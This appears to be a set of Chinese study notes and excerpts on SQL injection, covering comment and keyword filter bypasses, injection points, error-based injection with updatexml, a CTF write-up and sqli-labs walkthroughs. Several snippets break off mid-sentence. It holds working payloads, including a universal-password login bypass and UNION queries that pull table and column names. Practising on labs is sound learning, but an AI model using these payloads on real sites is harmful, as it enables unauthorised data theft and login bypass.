过滤注释符绕过常见注释符-- # %23
如何判断页面过滤对象从最简单的注入命令开始,一步步增加复杂性,通过此方法判断过滤对象。
策略
基础测试:优先尝试 --、#、%23。
闭合语句:若注释符全被过滤,直接闭合引号或逻辑。
编码与空白符:尝试 URL 编码、换行符、TAB 符。
绕过方法闭合引号
1234567数字型不用考虑闭合,正常使用语句即可字符型''单引号闭合只需要在后面增加一个单引号""双引号闭合只需要在后面增加一个双引号('')单引号括号闭合需要多加个 or('1')=('1("")双引号括号闭合需要多加个 or("1")=("1
过滤AND OR绕过and or
绕过方法大小写绕过
?id=1 anD 1=1 -- +
复写绕过
?id=1' anandd 1=1 -- +
取代
用&&取代and ,用||取代or
若报错显示无法识别,则将&&和||用url编码替代
&& u ...
SQL注入分类:
回显正常—> 联合查询 union select
回显报错–>报错注入:
extractvalue()
updatexml()
floor(rand()\*2)
盲注:
布尔盲注
时间盲注
判断注入点在GET参数、POST参数、Cookie、Referer、XFF、UA等地方尝试插入代码、符号或语句,尝试是否存在数据库参数读取行为,以及能否对其参数产生影响,如产生影响则说明存在注入点。
sql注入点类型
get注入在get传参时写入参数,将SQl语句闭合,后面加写入自己的SQL语句。
post注入通过post传参,原理与get一样,重要的是判断我们所输入的信息是否与数据库产生交互,其次判断SQL语句是如何闭合的。
有些网站通过查询cookie判断用户是否登录,需要与数据库进行交互,我们可以修改cookie的值,查找我们所需要的东西。或者通过报错注入是网页返回报错信息。
Referer注入Referer正确写法应该是Referrer,因为http规定时写错只能将错就错,有些网站会记录ip和访问路径,例如百度就是通过Referer来统计网 ...
SQL注入概念及产生原因: 当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。
2.SQL注入的本质:把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则
3.SQL注入的两个关键点:1,用户能控制输入的内容; 2,web应用把用户输入的内容带入到数据库执行;SQL注入基础危害:)盗取网站的敏感信息;)绕过网站后台认证 后台登录语句: SELECT * FROM admin WHERE Username=‘user’ and Password=‘pass’ 万能密码:‘or ’1‘ = ’1‘ # ;)借助SQL注入漏洞提权获取系统权限;)读取文件信息。MYSQL数据库注入-常用函数:(1)user() 返回当前使用数据库的用户,也就是网站配置文件中连接数据库的账号 (2)version() 返回当前数据库的版本 (3)database() 返回当前使用的数据库,只有在use命令选择一个数据库之后,才能查到 ...
BUU SQL COURSE 1流程这题是写sqli-labs后刷 的,确实带来一点不一样的感觉。
依照sqli-labs的惯性,是在登录里面进行sql注入。
不过用弱口令试了几次,发现没什么用。因此去找了WP。
发现sql注入是可以不在登录界面进行的,没有思路的时候可以在网络里找找线索。
按F12打开网络,点击测试新闻1,可以发现一个content_detail.php?id=1不正常的名字,因此尝试访问urlhttp://0a577521-dfc0-45cf-8bc5-2bd8255566bd.node5.buuoj.cn:81/backend/content_detail.php?id=1,有回显。
修改id内容判断是否存在sql注入
尝试了id=1' %23 id =1" %23发现都没有回显,也没有报错,再用逻辑判断也没有用,接着尝试id=1 and 1=1 和 id=1 and 1=2,发现前者回显正常,后者没有回显,因此是数字型注入。判断的时候科技园先尝试数字型注入,去除之后再进行字符型注入判断
判断列数
id=1 order by 3发现没有回显,再减 ...
id=-1 和id= 1 的区别两种场景的本质区别
场景
id=-1 + UNION
id=1 + ORDER BY
目标
显示 UNION 后的自定义数据
探测原查询的列数
原查询是否需要结果
不需要(需返回空)
需要(确保 ORDER BY 能执行)
核心逻辑
绕过原数据,强制显示注入结果
利用错误或页面变化推断列数
数值选择
用不存在的值(如 -1)
用存在的值(如 1)
SQL注入语句注释在 Sql 注入中,需要使用 Mysql 的注释符号,需要去注释注入语句后面的语句不被执行,Mysql中单行注释有两种方式,分别是#和– (–后面有空格)
但是,需要注意的是,在url中,如果是get请求,解释执行的时候,url中#号是用来指导浏览器动作的,对服务器端无用。所以,HTTP请求中使用 get 传参时不包括#,因为使用 # 闭合无法注释,会报错;而使用– (有个空格),在传输过程中空格会被忽略,同样导致无法注释,所以在get请求传参注入时才会使用 –+ 的方式来闭合,因为+会被解释成空格。
注释符号的差异与使用场景(1) # 符号
...
SQL注入分类:
回显正常—> 联合查询 union select
回显报错–>报错注入:
extractvalue()
updatexml()
floor(rand()\*2)
盲注:
布尔盲注
时间盲注
报错注入(Error-Based Injection)核心原理
适用条件:页面无数据回显,但能返回数据库错误信息。
原理:利用数据库函数执行时的参数校验漏洞,将查询结果嵌入到错误信息中。
updatexml() 函数报错注入原理
函数作用:修改 XML 文档的指定节点内容。
语法
1updatexml(XML_document, XPath_string, new_value)
触发错误条件:当 XPath_string 参数格式非法时(如包含特殊字符 ~),函数抛出错误,并将错误信息包含非法内容。
Payload 构造1and updatexml(1, concat(0x7e, (查询语句), 0x7e), 1)
关键点
0x7e 是 ~ 的十六进制,用于分隔错误信息中的目标数据。
将查询结果拼接到第二个参数中,触发 XPath 语法 ...
POST提交和GET提交的区别
POST提交
GET提交
不可缓存
可缓存
不可保留在浏览记录
可保留在浏览记录
不可收藏为书签
可收藏为书签
没有长度限制
有长度限制(最长2048个字符)
POST注入原理核心漏洞原因用户输入未过滤:后端直接将用户通过 POST 提交的参数拼接到 SQL 语句中。
举例
1234567#原始SQLSELECT * FROM users WHERE username='$_POST[username]' AND password='$_POST[password]'#攻击输入admin' -- +&&password=123(任意值)#此时系统的查询语句SELECT * FROM users WHERE username='admin' -- ' AND password='123'#注释符 -- 使密码条件失效,直接以 admin 身份登录。
POST提交UNION注入与GET提交类似
判断闭合符号也类似 ...
sqli-labs在线靶场
1-10关GET提交第一关123456789101112131415161718192021222324判断注入方式?id=1?id=1' #报错?id=1' -- + #回显正常,基本可以确认?id=1' and 1=2 -- + # 报错?id=1' and 1=1 -- + # 正常 确认判断列数?id=1' group by 3 -- +'判断回显?id=-1' union select 1,2,3 -- +'获取库名?id=-1' union select 1,database(),3 -- +'获取表名?id=-1' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema='security') -- + '获取列名?id=-1' u ...











